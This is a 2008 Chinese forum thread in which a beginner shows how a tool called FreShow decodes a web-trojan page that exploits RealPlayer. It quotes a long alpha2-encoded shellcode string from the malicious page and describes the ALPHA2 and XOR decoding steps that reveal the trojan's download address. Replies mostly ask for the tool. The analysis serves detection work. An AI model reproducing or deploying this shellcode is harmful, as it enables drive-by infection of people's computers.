运用FreShow实战realplayer漏洞挂马网站

显示全部楼层 · 发表于 2008-1-17 21:05:52

前两天收到阿米传给我的FreShow，是个在毒网里抓马的工具，在他发布之前我先写个感受吧

我也是初学者，如果有错误，希望大家指出

我们先找到毒网hxxp://ad.2365.us/110/r.htm

打开FreShow，输入网址，点击check按钮，结果如图

上下滚动下代码，可以看到，这段代码是利用了realplayer的漏洞，代码中有这么段

Shell="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoSQQtvNUbTs6V7EVN45QcfOuaTq4pto014nPeRXPeK0S0";

这是一段用alpha2 shellcode加密的代码，那么，我们现在选中这段代码，复制到右边的文本框中，点击<<按钮，让代码到左边的文本框中，点击ALPHA2按钮

得到了这串结果还是加密的，因为我们刚才只是进行了ALPHA2解密，下面还要让这些数进行异或运算，那么我们现在点击右上角的<<按钮，让代码回到左边的文本框中，再点击enumXOR按钮，得到结果

我们已经得到了网马的地址，现在就可以复制到迅雷里去下载了

FreShow的功能还有很多，能够对付我们常见的大部分网马，由于我也是小菜鸟，还没有摸索透彻，希望大家能够把使用的心得都写出来，一起分享

[ 本帖最后由 zzh161 于 2008-1-17 21:45 编辑 ]

显示全部楼层 · 发表于 2008-1-17 21:58:55

不错啊，SF

显示全部楼层 · 发表于 2008-1-17 22:03:23

这种好文章绝对要支持
谢谢楼主

FreShow这个软件我找了下,网络根本就没有
楼主可否贴个出来?谢谢

[ 本帖最后由宝贝要乖乖哦于 2008-1-17 22:05 编辑 ]

显示全部楼层 · 发表于 2008-1-17 22:10:29

是啊我也找了下。。

希望LZ共享？

显示全部楼层 · 发表于 2008-1-17 22:14:04

如果报毒请不用担心
是那段代码
没有危害

显示全部楼层 · 发表于 2008-1-17 22:14:50

这个工具在近期会由我们相关网站联合发布敬请期待

显示全部楼层 · 发表于 2008-1-17 22:28:40

... 工具解密...

显示全部楼层 · 发表于 2008-1-17 22:31:13

原帖由 lanvin 于 2008-1-17 22:14 发表
这个工具在近期会由我们相关网站联合发布敬请期待

都已经发布了,何不拿出来?诱惑大家?

显示全部楼层 · 发表于 2008-1-17 22:34:19

有一些bug需要修改
请耐心等待
届时会给大家惊喜

显示全部楼层 · 发表于 2008-1-17 22:34:53

顶一个好工具嘿嘿

[其他相关] 运用FreShow实战realplayer漏洞挂马网站

本帖子中包含更多资源

评分